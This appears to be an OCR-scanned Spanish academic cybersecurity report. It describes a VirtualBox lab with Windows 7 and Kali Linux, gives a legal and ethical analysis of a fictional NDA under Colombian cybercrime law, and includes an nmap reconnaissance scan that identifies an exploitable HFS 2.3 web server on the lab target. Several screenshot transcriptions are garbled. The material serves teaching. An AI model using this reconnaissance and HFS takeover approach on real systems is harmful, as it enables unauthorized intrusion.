= Hyper-V (1) Audio Tipo de adaptador: Intel PRO/1000 MT Deskdop (32540EM)
W Pantalla
Memoris de video: 18M8 G ke Ko jruinkce il iods
Servidor de escritorio remoto: Inhabilitado Direccién MAC: 0800279280C0 ®
Grabacion: Inhabilitado & Puertossede B i
30le COf 200
B Aimacenamiento
Controlador: SATA [ use

|
‘ Controlador gréfico: VBoxSVGA
| Puerto SATAQ:  Win7-SE2020-X64-disk001.vdi (Normal, 50,00 GB)

Pueto SATAT:  [Unidad éptica] Vacio D =
«
» Carpetas compartidas
Controlador de anfitrién: Windows DirectSound . Puertos serie
Controlador: Audio Intel HD @ Interta2 de waaro
B et Puetol  Pueto Pueto3 Puetod
Adaptador 1: Intel PRO/1000 MT Desktop (NAT) i Ciocd e
X ceptar ancelar 2
5 uss ept yu

Nota. Se cambia el tipo de adaptador de red por adaptador de puente que nos permite lograr la

conexion entre las maquinas.

Instalacion Kali Linux
Figura 6

Descarga Kali Linux

64-bit
Virtual Machines C D

VMware & VirtualBox pre-built images. Allowing for a
Kali install without altering the host OS with additional

VirtualBox
features such as snapshots. Vagrant images for quick
spin-up also available
£ torrent docs sum
® Recommended
~
Nombre Tipo Tamafio Fecha de modificacién

W@ kali-linux-2024.3-virtualbox-amd64 VirtualBox Machine Defini... 3KB 18/08/2024 4:53 p. m.
W kali-linux-2024.3-virtualbox-amd64 Virtual Disk Image 14.203.201 KB  18/08/2024 4:53 p. m

Nota. Se procede a realizar la descarga de la pagina oficial en la siguiente url

https://www.kali.org/qget-kali/#kali-virtual-machines .
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Figura 7

Descarga Kali Linux

T3 Seleccionar un archivo de méquina virtual x; -
SEML... > kali-linux-2024.3-virtual. P QUG Herramicnta
£515eg.08
....... ) B
ok P =- 09 wan7-se2020.x64
_ . o - - @ apagada st operativo: )
0 Masica ERIB SN - kali-linux-2024.3-
2043 " ) (o tre-20243-— B virtualbox-amd64
3 Videos kali-linux-2024.3-virtualbox-amd64 d O Apagada 8=
D N Kali-linux-2024.3-virtualbox-amd64-1.16  18/08/2024 453 p.m.  VirtualBox Machin.
OneDrive_1_12
kali-linux-2024.
seminario
B Este equipo
3 Red
Nombre de archivo: | kali-linux-2024.3-virtualbox-amdé4-1.16 Archivos de maquina virtual (*.
Abrir Cancelar
[O]

= B - '

] Terminal Emulator
se the command line

) &9 §3) (O (8] CTRL DERECHA

Nota. Se descargada la imagen de Kali Linux se procede con la instalacion en VirtualBox

Paso C: se procede con la validacion de la conectividad en los sistemas operativos
instalados que hacen parte del banco de trabajo

Inicio con el encendido de la maquina virtual con win 7 para ejecutar la prueba de
conectividad desde la maquina host hacia el Win 7, obteniendo como resultado pérdida total de
los paquetes debido a que se encuentra habilitado el firewall de Windows que impide la

conexion.



Figura 8

Validacion Negativa Conectividad Entre Equipos Host Win 7

&

P =
@Q' @ « Todos los elementos de Panel ... » Firewall de Windows -

Ventana principal del Panel de
control

Permitit un programa o una
caracteristica a través de
Firewall de Windows

&

Cambiar la configuracion de
notificaciones

Activar o desactivar Firewall de
Windows

Restaurar valores
predeterminados

§ Configuracién avanzada

Solucién de problemas de red

Centro de actividades

Centro de redes y recursos
compartidos

Ayude a proteger su equipo con Firewall de Windows

Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso

3l equipo a través de Intemet o de una red. Tiempo de espera agotado para esta
Tiempo de espera agotado para esta
e Tiempo de espera agotado para esta
l & Redes domésticas o de trabajo (privadas No conectado (¥ Estadisticas de ping para 192.168.
Paquetes: enviados = 4, recibidos
A

Conectado

l 0 Redes publicas
Redes en lugares publicos como seropuertos o cafeterias

Estado de Firewall de Windows: Activado

Conexiones entrantes Bloguear todas las conexiones a los programas
que no estén en la lista de programas
permitidos

Redes publicas activas Red 4

Estado de notificacién: Notificarme cuando Firewall de Windows

bloquee un nuevo programa

FY CAWINDOWS\system32\cmd. X

C:\>ping 192.168.20.114

Haciendo ping a 192.168.20.114 con
Tiempo de espera agotado para esta

(100% perdidos),

c:\>

&

sz = >
Q@v WP <« Todos los elementos de Panel ... » Firewall de Windows .

Ventana principal del Panel de
control

Permitic un programa o una
caracteristica a través de
Firewall de Windows

% Cambiar la configuracién de
notificaciones

% Activar o desactivar Firewall de
Windows

% Restaurar valores
predeterminados

# Configuracién avanzada

Solucion de problemas de red

Centro de actividades

Centro de redes y recursos
compartidos

9

de a proteger su equipo con Firewall de Wind

Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan
acceso al equipo a través de Internet o de una red

Actualizar configuracién de firewall

Firewall de Windows no esta usando la
configuracién recomendada para
proteger el equipo,

% Usar la configuracion recomendada

No conectado

l &) Redes domésticas o de trabaj

ajo (privadas,
l %J Redes piblicas

Redes en lugares publicos como aeropuertos o cafeterias

Conectado

Estado de Firewall de Windows: Desactivado

Conexiones entrantes Bloquear todas las conexiones a los
programas que no estén en la lista de
programas permitidos

Redes piblicas activas: Red 4

FY C:AWINDOWS\system32\cmd.

>ping 192.168.20.114

Haciendo ping a 192.168.20.114 con

de
de
de
de

Tiempo
Tiempo
Tiempo
Tiempo

espera
espera
espera
espera

agotado
agotado
agotado
agotado

para
para
para
para

es
es
es
es

Estadisticas de ping para 192.16

Paquetes: enviados = 4, recil

(100% perdidos),
C:\>ping 192.168.20.114
168.20
168.20
168
168.
168.

114 c
.114:
20.114:
20.114:
20.114:

Haciendo ping a 192.

desde 192.
desde 192.
desde 192.
desde 192.

Respuesta
Respuesta
Respuesta
Respuesta

Estadisticas de ping para 192.16
Paquetes: enviados = 4, recil
(8% perdidos),

Tiempos aproximados de ida y vue
Minimo = Oms, Maximo = Oms,

|

Nota. Se deshabita el Firewall de Windows nuevamente se ejecuta el comando ping logrando

Cc:\>

establecer la conexion con el host y el sistema operativo Windows 7.

32 bytes de datos:
solicitud.
solicitud.
solicitud.
solicitud.

20.114:
0, perdidos = 4

32 bytes de datos:
solicitud
solicitud
solicitud
solicitud

ta
ta
ta
ta

8.20.114:
bidos = 0, perdidos = 4

on 32 bytes de datos:

bytes=32 tiempo<lm TTL=128
bytes=32 tiempo<lm TTL=128
bytes=32 tiempo<lm TTL=128
bytes=32 tiempo<lm TTL=128

8.20.114:
bidos = 4, perdidos = ©

lta en milisegundos:
Media = Oms

Ahora se procede al encendido de la maquina virtual Kali Linux



Figura 9

Validacion Positiva Conectividad Entre Equipos Host Win 7y Kali Linux

& CAWINDOWS\system32\cmd,

C:\>ping 192.168.20.114
on 6.1.76811
pf¢ Corporation. Reservados todos los: derechos. : Haciendo ping a 192.168.20.114 con 32 bytes de datos:
168.20.113 Respuesta desde 192.168.20.114: bytes=32 tiempo<lm TTL=128
Respuesta desde 192.168.20.114: 2 tiempo<lm TTL=128
S n et Respuesta desde 192.168.20.114: by 2 tiempo<lm TTL=128
tienpo=ins TTL=6 Respuesta desde 192.168.20.114: 32 tiempo<lm TTL=128
tienpo=ins TTL=64
Estadisticas de ping para 192.168.20.114:

Paquetes: enviados = U, recibidos = 4, perdidos = @

e ida y vuelta en milisegundos: (0% perdidos),
Mixino = 2 ledia = ins : . A

Tiempos aproximados de ida y vuelta en milisegundos:

Minimo = Oms, Maximo = Oms, Media = Oms

perdidos

C:\>ping 192.168.20.113

Haciendo ping a 192.168.20.113 con 32 bytes de datos:

Respuesta desde 192.168.20.113: bytes=32 tiempo=lms TTL=64
Respuesta desde 192.168.20.113: bytes=32 tiempo<lm TTL=64
Respuesta desde 192.168.20.113: bytes=32 tiempo<lm TTL=64
Respuesta desde 192.168.20.113: bytes=32 tiempo<lm TTL=64

P
P

Estadisticas de ping para 192.168.20.113:
Paquetes: enviados = U, recibidos = 4, perdidos = @
(0% perdidos),

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = Bms, Maximo = lms, Media = Oms

C:\>

.Q - ' “D“ - C ¥ C:\WINDOWS\system32\cmd.

\ 2.168.20.
File Actions Edit View Help C:\>ping 192.168.20.114
en 1000 (Ethernet) Haciendo ping a 192.168.20.114 con 32 bytes de datos:
i ;mgww 0 Respuesta desde 192.168.20.114: bytes=32 tiempo<lm TT
; (S Respuesta desde 192.168.20.114: bytes=32 tiempo<lm
collisions @ Respuesta desde 192.168.20.114: bytes=32 tiempo<lm

Respuesta desde 192.168.20.114: bytes=32 tiempo<lm
lo: <UP, LOOPBACK,RUNNING> mtu 65536
et 127.0.0.1 netmask 255.0.0

Estadisticas de ping para 192.168.20.114:

Paquetes: enviados = 4, recibidos = 4, perdidos = @
0 (8% perdidos),
uns @ frame Tiempos aproximados de ida y vuelta en milisegundos:

bytes 480 (480.0 B) Minimo = Oms, Maximo = Oms, Media = Oms
dropped 0 ove ns 0 ca collisions 0

1 Loopback)
B)

80

C:\>ping 192.168.20.113

0. Haciendo ping a 192.168. 113 con 32 bytes de datos:
PING 192.16 3 9 5 5 t data. Respuesta desde 192.168. 2 32 tiempo=lms TTL=64
: - Respuesta desde 192.168. : 32 tiempo<lm TTL=64
Respuesta desde 192.168. bytes=32 tiempo<lm TTL=64

Respuesta desde 192.168.20. : bytes=32 tiempo<lm TTI

. Estadisticas de ping para 192.168.20.113:
Paquetes: enviados = 4, recibidos = 4, perdidos = @
(0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = Oms, Maximo = lms, Media = Oms

Nota. Dando como resultado positivo de conectividad entre el host y las maquinas virtuales.

Se valida conectividad entre el Win 7 IP 192.168.20.114 con Kali Linux IP

192.168.20.113 y desde el equipo Host hacia las dos maquinas virtuales. hacemos lo mismo

36
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desde la maquina de Kali Linux IP 192.168.20.113 hacia la maquina Win7 IP 192.168.20.114 y

desde el equipo Host hacia las dos maquinas virtuales.

Paso D: Se capturan los printscreen del montaje realizado y las caracteristicas de

Hardware de las maquinas virtuales

Figura 10

Pantallazos Montajes Maquinas virtuales Win 7 y Kali Linux

r

W

A )
Juu Herramientas

@ @

Nueva Afadic  Configuracién

Iniciar

Herramientas

P

Nueva Adadic  Configuracién [ Iniciar

ES1 Seg. DB =] General =) previsualizacién £S1 Seg. DB =] General | previsualizacion
Nombre: Win7-SE2020-X64
- Nomb Kali-finux-2024.3-
% Win7-SE2020-X64 g—_ Sistema operativo:  Windows 7 (64-bit) Win7-SE2020-X64 it wr\‘u."l‘::x-amd&l
© Apagada = Grupos: ESl Seg. DB © Apagads Sistema operativo:  Debian (64-bit)
(=] sist, . S i-li = =
BN kali-linux-2024.3-virtualb... i Win7-SE2020-X64 = = ) (=] sistema kali-linux-2024.3
S © 2pagads DACI S il Ok A g: Memoria base: 2043 MB virtualbox-amdé64
9 Orden de arranque:  Optica, Disco duro © Apagada = procesadores:
Aceleracién: Paginacién anidada, Orden de amanque:  Disco duro, Optica
g anidads,
typach, PAE/NX,
) Pantalta Paravirtualizacion KVM
Memoria de video: 18M8 & Pantalla
Controlador grafico: VBoxSVGA !
Servidor de escritorio remoto:  Inhabilitado M"""'l":’ "'df°‘ 5 'ij 'vEA
Grabacién: Inhabilitado Contmmicr rfics A
Servidor de escritorio remoto: - Inhabilitado
& Aimacenamiento Grabacién: Inhabilitado
Controlador: SATA Gl Aimacenamiento
Puerto SATAG:  Win7-SE2020-X64-disk001.vdi (Normal, 50,00 GB) I
Puerto SATA1:  [Unidad éptica) Vacio Dispositivo IDE secundario 0:  [Unidad éptica) Vacio
0 Audio Controlador: SATA
Cinbitadorde sbtibe e T Pt KA kali-finux-2024.3-virtualbox -amd64.vdi (Normal, 80,09 GB)
Controlador: Audio Intel HD » Audio
& Red Controlador de anfitrién:  Windows DirectSound
Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador puente, <Intel(R) Dusl Band Wireless- Soosedor ICHAGH]
AC 3168) & Red
L’ use Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador puente, «intel(R) Dual Band Wireless-
Controlador US8:  OHCL, EHCI Aol
Filtros de dispositivos: 0 (0 activo) £ use
(2] Carpetas compartidas Controlador USB: OHCI
SRR Filtros de dispositivos: 0 (0 activo)
. ..
@  WILMAN ALFONSO ALBARRA... Sistema > Informacion
w» wilman albarracin@hotmail. com
@ Especificaciones del dispositivo Copiar A
car una opcién de configu
Nombre del dispositivo ~ SMa
A Inici Procesador 270GHz 2.90 GHz
nicio
RAM instalada
| B Ssistema Id. del dispositivo 13 71D3
0 Id. del producto
Bluetooth y dispositivos .
YiCee Tipo de sistema a
¥ Red e Intemnet Lapiz y entrada tactil La entrada tactil o mar ta no esta ara esta pantalla
/ Personalizacién Vinculos relacionados  Dominio o grupo de trabajo  Proteccién del sistema  Configuracién avanzada del sistema
ﬂ Aplicaciones
o BB  Especificaciones de Windows Copiar ~
w« Cuentas - "
‘»’ Hora e idioma .
Edicion
# Juegos Version
Se instalo el 21/03/2023

i Accesibilidad
W Privacidad y seguridad

@ Windows Update

Compilacion del SO

Experiencia Windows Feature
Contrato de servicios de Microsoft
Términos de licencia del software de Microsoft

Nota. Se observa la configuracion y caracteristicas de Hardware instado maquinas virtuales.
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Analisis Legal y Etico Empresa CyberFort Technologieses

Frente a la primera pregunta ¢Una vez leido el anexo 2 — escenario 2 y el anexo 3 -
Acuerdo usted logra evidenciar algun proceso ilegal y no ético que se esté estipulando en dicho
acuerdo?, se puede evidenciar efectivamente que en el andlisis legal la organizacion CyberFort
Technologieses, en razon a su gran experiencia en asesoria en Ciberseguridad y Ciberdefensa
requiere de un equipo Red Team y Blue Team para aumentar los niveles y protocolos de
seguridad internamente

En relacion con el contrato elaborado por el abogado presenta varias inconsistencias las
cuales podrian traer situaciones como investigaciones judiciales que traerian consecuencias
penales para la compafiia y para el profesional que firma el acuerdo como se observa en el
primera clausula la cual reza:

“Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte receptora,
se obliga a no divulgar directa, indirecta, proxima a remotamente, ni a través de ninguna otra
persona o de sus subalternos o funcionarios, autoridades legales, asesores o cualquier persona
relacionada con ella, la informacion confidencial o sobre procesos ilegales dentro de CyberFort
Technologies no podran ser divulgados.”

Se denota con el solo objetivo del acuerdo de confidencialidad que la empresa CyberFort
Technologieses, realiza procesos ilegales lo cual implicaria una responsabilidad por el
profesional que suscriba este acuerdo ya que aceptaria las condiciones del objetivo del acuerdo
entre las partes.

Ahora revisemos la segunda clausula en especial lo que se enuncia en su punto 2 asi:

“Segunda. Definicidon de informacion confidencial: se entiende como Informacion

Confidencial, para los efectos del presente acuerdo:
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Cualquier informacion societaria, técnica, juridica, financiera, comercial, de mercado,
estratégica, de productos, nuevas tecnologias, patentes, modelos de utilidad, disefios industriales,
datos secretos como “datos de chuzadas, interceptacion de informacion, accesos abusivos a
sistemas informaticos...”.

Aqui encontramos otra situacion que es comprometedora tanto para la empresa como
para el profesional que piense ser contratado por la empresa, puesto aceptan practicas delictivas
como son la interceptacion de informacion, acceso abusivo a sistemas informéticos que los
incriminaria donde se presente una inspeccion judicial por denuncias que se puedan presentar por
estas malas practicas que comete la empresa.

En relacién con la tercera clausula no se encuentra ninguna observacion y esta ajustada,
sin embargo, al dar lectura de la cuarta clausula se encuentra reparos en las obligaciones 3, 4, 8y
9 que igualmente que las observaciones anteriores aqui el directamente responsables es el
profesional asi:

“Cuarta. Obligaciones de la parte receptora: Se considerara como parte receptora de la
informacion confidencial a la persona que recibe la informacién, o que tenga acceso a ella. La
parte receptora se obliga a:”

No denunciar ante las autoridades actividades sospechosas de espionaje o cualquier otro
proceso en el cual intervenga la apropiacion de informacion de terceros.

Abstenerse de denunciar y publicar la informacién confidencial e ilegal que conozca,
reciba o intercambie con ocasion de las reuniones sostenidas.

Responder ante las autoridades competentes como responsable en caso de que la

informacidn se encuentre en su poder dentro de un proceso de allanamiento.



40

La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier otra forma
divulgar total o parcialmente, pablica o privadamente, la informacion confidencial o ilegal sin el
previo consentimiento por escrito por parte de CyberFort Technologies.”

Se evidencia que la empresa en el presente acuerdo de confidencialidad no tiene
obligacion alguna zafandose de responsabilidades contractuales y de responsabilidad penal
alguna como se observa en la clausula quinta y octava del acuerdo y como si fuera poco el
profesional deberd asumir de manea privada su defensa y exonera la empresa CyberFort
Technologieses de cualquier tipo de responsabilidad legal y penal.

Frente a la segunda pregunta Si la respuesta es afirmativa y usted encontré algun proceso
ilegal en el anexo 3 — Acuerdo: acuerdo, deberd mencionar que articulos de la ley 1273 se
podrian vulnerar en dicho acuerdo y especificar porqué vulnera articulos de la ley 1273.

Una vez consultada la ley se pudo establecer que de acuerdo con lo manifestado en el
punto anterior y dando respuesta a este se logra llegar a la conclusion que los siguientes articulos
de la Ley se infringen con el acuerdo de confidencialidad presentado por la empresa empresa
CyberFort Technologieses.

Para lo encontrado en el numeral 2 de la clausula segunda Definicion de informacién
confidencial que reza;

“2. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de mercado,
estratégica, de productos, nuevas tecnologias, patentes, modelos de utilidad, disefios industriales,
datos secretos como “datos de chuzadas, interceptacion de informacidn, accesos abusivos a

sistemas informaticos”
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Claramente podemos ver que se enmarca las siguientes vulneraciones de los articulos de
la Ley 1273 de 2009, toda vez que se atenta contra la confidencialidad, la integridad y la
disponibilidad de los datos y de los sistemas informaticos, asi:

Articulo 269A: Acceso abusivo a un sistema informético. Porque segun su acuerdo al
suscribirse se acepta la responsabilidad al definir la informacion confidencial de la empresa
incluyen datos secretos accesos abusivos a sistemas informaticos para obtener la informacion que
les permita sacar provecho de manera ilicita.

Avrticulo 269B: Obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion. En Colombia una “chuzada” es la interceptacion ilegal de las comunicaciones
de alguien y como se menciona como datos de chuzadas, se hace uso de red de telecomunicacion
para llevar a cabo este fin, lo cual trasgrede el presente articulo.

Articulo 269C: Interceptacion de datos informaticos, este articulo también se menciona
como dato secreto interceptacion de informacion, ya que se hace de manera ilegal sin ningln tipo
de orden judicial que les permita capturara informacién reservada para darle usos indebidos.

Articulo 269F: Violacion de datos personales, desde mi punto de vista este articulo
también se infringe toda vez que al hacer uso de la informacién obtenida fraudulentamente saque
provecho de la informacion recopilada.

En cuanto a la Clausula Cuarta. Obligaciones de la parte receptora en su obligacion
descrita en el numeral 3. “No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la apropiacion de informacion de
terceros”. Se podria verse envuelta la empresa en una investigacion penal de acuerdo con el
ARTICULO 463 del codigo penal Ley 599 de 2000 que tipifica el Espionaje, asi: El que

indebidamente obtenga, emplee o revele secreto politico, econdmico o militar relacionado con la
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seguridad del Estado y el profesional se veria incurso en una investigacioén por omisién de un
acto punible.

Frente a la tercera pregunta ¢Existiendo procesos poco confiables en el anexo 3 —
Acuerdo, ¢usted como experto en ciberseguridad aplicaria a este trabajo en CyberFort
Technologies, donde la organizacion dispone de un sueldo de $15.000.000 de pesos colombianos
mensuales y contrato vitalicio? Debe argumentar su respuesta ya sea afirmativa o negativa y
tener en cuenta en la argumentacion que dispone COPNIA en su cddigo de ética para ingenieros.

Una vez valoradas las implicaciones legales a las cuales me veo como experto de
ciberseguridad como profesional en caso de firmar este contrato, he tomado la decision de no
aceptar la propuesta que hace la empresa CyberFort Technologieses por tal razén la rechazo de
manera tajante, no firmare ningun tipo de contrato ni mucho menos ese acuerdo de
confidencialidad en el que se manifiesta y se acepta por la empresa llevar a cabo situaciones que
van en contra de la legislacion y las leyes de la Republica de Colombia.

Ademas, que como profesional estaria faltando a la ética profesional del COPNIA,
cddigo mediante el cual estoy sujeto a poner en practica buenas conductas profesionales en el
desarrollo de mi profesién como ingeniero de sistemas, con este codigo puedo validar el
comportamiento profesional exigible y le doy cumplimiento obligatorio, a mis deberes,
prohibiciones y sanciones en los que puedo incurrir al firmar este tipo de contratos, a
continuacion expondré las violaciones al cddigo de ética profesional que pudiera cometer al
suscribir este acuerdo de confidencialidad y las sanciones a las cuales me veria abocado.

La violacion comprobada a los deberes y prohibiciones dispuestos en el Codigo de Etica

Profesional para este ejercicio claramente son las siguientes:
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En cuanto a los Deberes Generales nos encontramos faltas a la letra f) denunciar los
delitos lo cual no podriamos hacer si se firma el acuerdo de confidencialidad.

En relacion con las prohibiciones generales tenemos la letra b) Permitir, tolerar o facilitar
el ejercicio ilegal de las profesiones.

Ahora se faltaria a la prohibicion especial frente a la sociedad contemplada en el articulo
34 inciso a) Ofrecer o aceptar trabajos en contra de las disposiciones legales vigentes, o aceptar
tareas que excedan la incumbencia que le otorga su titulo y su propia preparacion.

Igualmente se faltaria a los deberes para con la dignidad de sus profesiones contemplada
en el articulo 35 inciso b) Respetar y hacer respetar todas las disposiciones legales y
reglamentaras que incidan en actos de estas profesiones, asi como denunciar todas sus
transgresiones.

Segun las violaciones antes descritas me conllevara la imposicién de la méxima sancion
por tratarse de una FALTA GRAVISIMA ya que la actuacion como profesional al firmar este
acuerdo de confidencialidad se encuentra descrita en el articulo 53 de la ley 842 de 2003, inciso
e) Incurrir en algun delito que atente contra sus clientes, colegas o autoridades de la Republica,
siempre y cuando la conducta punible comprenda el ejercicio de la ingenieria o de alguna de sus
profesiones auxiliares, lo que me ocasionaria como sancidn la cancelacion de la Matricula
Profesional.

Frente a la cuarta pregunta Deberé analizar el caso problema “Ciberespionaje y Etica en
CyberFort Technologies” (Anexo 7 - Escenario 2), redactar su punto de vista teniendo en cuenta
las implicaciones legales y éticas que alli se pudieron generar y dar respuesta los siguientes

interrogantes:
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En relacién al incidente se pueden observar que en cumplimiento de su funcion legal la
empresa CyberFort Technologies, mitigo la amenaza y elimino el malware de los sistemas
infectados, sin embargo la empresa se ha visto afectada con las decisiones tomadas por los
expertos que acudieron al Ilamado del gobierno vecino a realizar la auditoria, ya que a cuenta
propia sin autorizacién de la empresa causando un dafio reputacional y utilizando la herramientas
de analisis forense accedieron a comunicaciones sensibles y documentos estratégicos
relacionados con temas de defensa, politica exterior y negociaciones comerciales, faltado a la
ética profesional por la violacion de los deberes y prohibiciones dispuestos en el Codigo de Etica
Profesional que conlleva a catalogarse como una FALTA GRAVISIMA toda vez que estaria
violando las prohibiciones contempladas en el articulo 32 en el incisos b) Permitir, tolerar o
facilitar el ejercicio ilegal de las profesiones reguladas por esta ley. Al igual podemos observar
también se viola la prohibicion del articulo 39 deberes de los profesionales para con sus clientes
y el publico en general en especial el inciso a). Mantener el secreto y reserva, respecto de toda
circunstancia relacionada con el cliente y con los trabajos que para él se realizan, salvo
obligacion legal de revelarla o requerimiento del Consejo Profesional respectivo.

En cuanto al ambito juridico aplicando las normas colombianas tenemos la violacion del
Articulo 269A: Acceso abusivo a un sistema informatico, el Articulo 269C: Interceptacion de
datos informaéticos, el Articulo 269E: Uso de software malicioso, el Articulo 269F: Violacion de
datos personales, adicionalmente a las penas contempladas en la Ley 1273 de 2009, que van
desde los 36 0 48 meses hasta los 96 meses de prision y multas de 100 a 1000 SMMLYV se ven
abocados al incremento de las mismas debido al Articulo 269H: Circunstancias de agravacion
punitiva: porque la conducta se cometio sobre redes o sistemas o de comunicaciones estatales u

oficiales del sector financiero, nacionales o extranjeros por tal razon se aumentaran de la mitad a
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las tres cuartas partes, dando como pais Colombia donde se hizo la intervencion por parte de la
empresa CyberFort Technologies, se vincularia en un proceso penal donde se puede condenar a
la empresa y a sus expertos ya que las versiones con las cuales justificaron sus acciones no
fueron autorizadas por el gobierno lo que se convirtio un acto de ciberespionaje sin
consentimiento y seran procesados por este incidente ocurrido en el mes de enero de 2024, claro
que no solo podran ser juzgados en Colombia sino que también se podra solicitar por parte del
gobierno a través de la Cancilleria se inicie un proceso de cooperacion internacional establecido
en el convenio de ciberdelincuencia firmado en Budapets en el afio 2001, para que a través de un
proceso legal en el vecino Pais Chile puedan ser procesados bajo la Ley 21459 del 9 de junio de
2022, la cual “Establece normas sobre delitos informaticos, deroga la ley N° 19.223 y modifica
otros cuerpos legales con el objeto de adecuarlos al convenio de Budapest” que contempla en
su Articulo 1°.- Ataque a la integridad de un sistema informético. Articulo 2°.- Acceso ilicito.
Articulo 3°.- Interceptacidn ilicita. Articulo 4°.- Ataque a la integridad de los datos informaticos.
Articulo 6°.- Receptacion de datos informaticos. Articulo 7°.- Fraude informatico.

a) ¢Hasta qué punto las empresas de ciberseguridad deben tener acceso a
informacion sensible de sus clientes durante una auditoria de seguridad, y como se puede
garantizar que este acceso no sea explotado de manera indebida?

No deberia de tener acceso a informacion privilegiada puesto que se presta para lograr
acceso donde pueden expertos sacar provecho como se observa en el anexo 7 Escenario 2 por tal
razon las empresas de ciberseguridad inicialmente para este tipo de auditoria deberan definir el
alcance y los objetivos de la auditoria acordar controles de acceso con cero privilegios,

desarrollar las pruebas de Ethical Hacking, gestionar el cierre de vulnerabilidades.
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b) ¢ Qué mecanismos de supervision y control deberian implementarse en las
empresas de ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de
andlisis forense con fines no autorizados o éticamente cuestionables?

Implementacién de nuevas tecnologias como Zero Trust Network Access (ZTNA),
también conocido como perimetro definido por software (SDP) que permita tener acceso remoto
seguro a las aplicaciones internas con el menor privilegio.

Implementacion actualizacion de las matrices de acceso

Implementar revisiones periddicas de los procesos y procedimientos de Ciberseguridad

Implementar politicas de supresion de usuarios administrador

Implementacién de matrices de roles y responsabilidades segun el cargo

Monitoreo de actividades y comportamiento del software de la empresa en especial las
herramientas de ciberseguridad

Implementar mapas de riegos por procesos

Implementar un SOC y Herramientas de monitoreo y comportamiento de red NDR

Aplicando estas herramientas y controles por parte de las empresas de ciberseguridad se
logrard minimizar los riesgos que puedan surgir de manera indebidos sobres las herramientas

C) ¢ Cémo deberian responder los gobiernos y organizaciones cuando descubren que
una empresa de ciberseguridad contratada ha cometido actos de ciberespionaje? ¢ Cuéales serian
las medidas adecuadas para restaurar la confianza y asegurar que no ocurra nuevamente?

Iniciar las acciones legales ante la Justicia para que sean Judicializados y se de aplicacion
a las leyes y normas vigentes que con este trabajo se han abordado lo cual permiten proteger la

informacion y los datos informaticos de delitos informaticos y ciberespionaje.
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Las medidas que se podrian implementar serian endurecer y aumentar las penas en
relacion a los delitos informaticos los cuales no deberian ser excarcelables, a fin que estos
ciberdelincuentes sigan delinquiendo, lo mismo que se judicialicen en una mayor brevedad ya
que el tiempo pasa y los delincuentes quedan en libertad por vencimiento de términos y siguen

delinquiendo.
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Herramientas de Software Red Team

Describa de manera especifica las herramientas software que utilizé para llevar a cabo el
anexo 4 — escenario 3 enfocado a Redteam. Deberé adjuntar evidencia de los comandos
utilizados y resultados que arrojo cada herramienta utilizada, estas herramientas deben estar
clasificadas segun los pasos de un pentesting.

En la primera fase del Pentesting se hizo reconocimiento activo ya que se conocia la IP
del equipo para analizar logrando una interaccion directa con el objetivo en esta fase se hace uso
de la herramienta Nmap por medio de la cual podemos escanear los diferentes puertos que se
encuentran abiertos y pueden utilizarse debido algun nivel de vulnerabilidad desde la maquina
Kali Linux.

Figura 11

Ejecucion del Comando Nmap -A

kali@kali: ~

File Actions Edit View Help

192.168.1.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 19:59 EST
Nmap scan report for PC202006.lan (192.168.1.135)
Host is up (©0.0078s latency).
Not shown: 986 closed tcp ports (conn-refused)
STATE SERVICE VERSION

| _http-server-header: HFS 2.3

I_http-title: HFS /

135/tcp open msrpc Microsoft wWindows RPC

12Q/tn nathisince _ccn M3 rrracnfr Wi ndouce noathinc _cecn

445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 micr
oft-ds (workgroup: WORKGROUP)

554/tcp open rtsp?

2869/tcp open http Microsoft HTTPAPI (SSDP/UPNP)
5357/tcp open http Microsoft HTTPAPI ! (SSDP/UPNP)
I_http-title: Service Unavailable

| _http-server-header: Microsoft-HTTPAPI/2.0

10243 /tcp open http Microsoft HTTPAPI 2.0 (SSDP/UPNP)
| _http-server-header: Microsoft-HTTPAPI/2.0

| _http-title: Not Found

49152/tcp open msrpc Microsoft Windows

49153/tcp open msrpc Microsoft Windows

49154/tcp open msrpc Microsoft Windows

49155/tcp open msrpc Microsoft Windows

49156/tcp open msrpc Microsoft Windows

49157/tcp open msrpc Microsoft Windows

Service Info: Host: PC202006; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb-security-mode:

| account_used: <blank>

| authentication_level: user

Nota: Se observa la ejecucion del comando nmap -A desde la consola de Kali Linux.



Como se observa en la imagen evidenciamos que a través del puerto 80 se conecta la
aplicacion HFS la cual presenta una vulnerabilidad la cual puede ser explotable y tomar la
maquina de manera remota.

Figura 12
Vulnerabilidad explotable puerto 80

kali@kali: ~
File Actions Edit View Help

49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157 /tcp open msrpc Microsoft Windows RPC
Service Info: Host: PC202006; 0OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
smb-security-mode:
account_used: <blank>
authentication_level: user
challenge_response: supported
_ message_signing: disabled (dangerous, but default)
_nbstat: NetBIOS name: PC202006, NetBIOS user: <unknown>, NetBIOS MAC: ©08:0
7:92:80:c® (Oracle VirtualBox virtual NIC)
smb2-time:
date: 2024-11-11701:01:41
start_date: 2024-11-11T00:40:26
smb-os-discovery:
0S: Windows 7 Professional 7601 Service Pack 1 (windows 7 Professional 6

OS CPE: cpe:/o:microsoft:windows_7 ::spl:professional
Computer name: PC202006
NetBIOS computer name: PC202006\x00
Workgroup: WORKGROUP\x00
System time: 2024-11-10T20:01:42-05:00
_clock-skew: mean: 1h40m@2s, deviation: 2h53ml1l3s, median: 1s
smb2-security-mode:

2:1:0:

Message signing enabled but not required

|
|
|
|
|
|
2
|
|
|
|
I
)
|
|
|
|
|
|
|
|
|

Service detection performed. Please report any incorrect results at https://
ap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 189.22 seconds

Nota: Se conecta a través de la aplicacion HFS logrando acceder a la maquina.

